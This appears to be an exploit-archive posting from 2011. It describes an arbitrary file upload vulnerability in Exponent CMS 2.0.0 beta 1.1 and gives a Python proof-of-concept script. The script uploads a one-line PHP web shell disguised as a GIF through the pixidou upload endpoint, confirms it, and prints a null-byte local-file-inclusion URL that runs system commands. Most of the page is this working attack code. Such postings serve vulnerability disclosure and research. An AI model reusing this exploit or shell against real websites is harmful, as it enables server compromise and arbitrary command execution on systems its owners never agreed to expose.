Home / exploitsPDF  

Exponent 2.0.0 Beta 1.1 Shell Upload

Posted on 09 May 2011

# ------------------------------------------------------------------------ # Software................Exponent 2.0.0 beta 1.1 # Vulnerability...........Arbitrary Upload # Threat Level............Very Critical (5/5) # Download................http://www.exponentcms.org/ # Discovery Date..........5/4/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <john@autosectools.com> # ------------------------------------------------------------------------ # # # --Description-- # # An arbitrary upload vulnerability in Exponent 2.0.0 beta 1.1 can be # exploited to upload a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/exponent' shell_path = path + '/framework/modules/pixidou/images/shell.gif' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/framework/modules/pixidou/upload.php HTTP/1.1 ' 'Host: localhost ' 'Proxy-Connection: keep-alive ' 'User-Agent: x ' 'Content-Length: 160 ' 'Cache-Control: max-age=0 ' 'Origin: null ' 'Content-Type: multipart/form-data; boundary=----x ' 'Accept: text/html ' 'Accept-Encoding: gzip,deflate,sdch ' 'Accept-Language: en-US,en;q=0.8 ' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 ' ' ' '------x ' 'Content-Disposition: form-data; name="uploadImage"; filename="shell.gif" ' 'Content-Type: image/gif ' ' ' '<?php echo system($_GET["CMD"]); ?> ' '------x-- ' ' ') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading shell' return else: print 'shell uploaded' s.send('GET ' + shell_path + ' HTTP/1.1 '\n'Host: ' + host + ' ') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path print ' exploit using lfi e.g. http://localhost/exponent/content_selector.php?controller=..%2f..%2fexponent%2fframework%2fmodules%2fpixidou%2fimages%2fshell.gif%00&section=&action=&CMD=calc' upload_shell()

 

TOP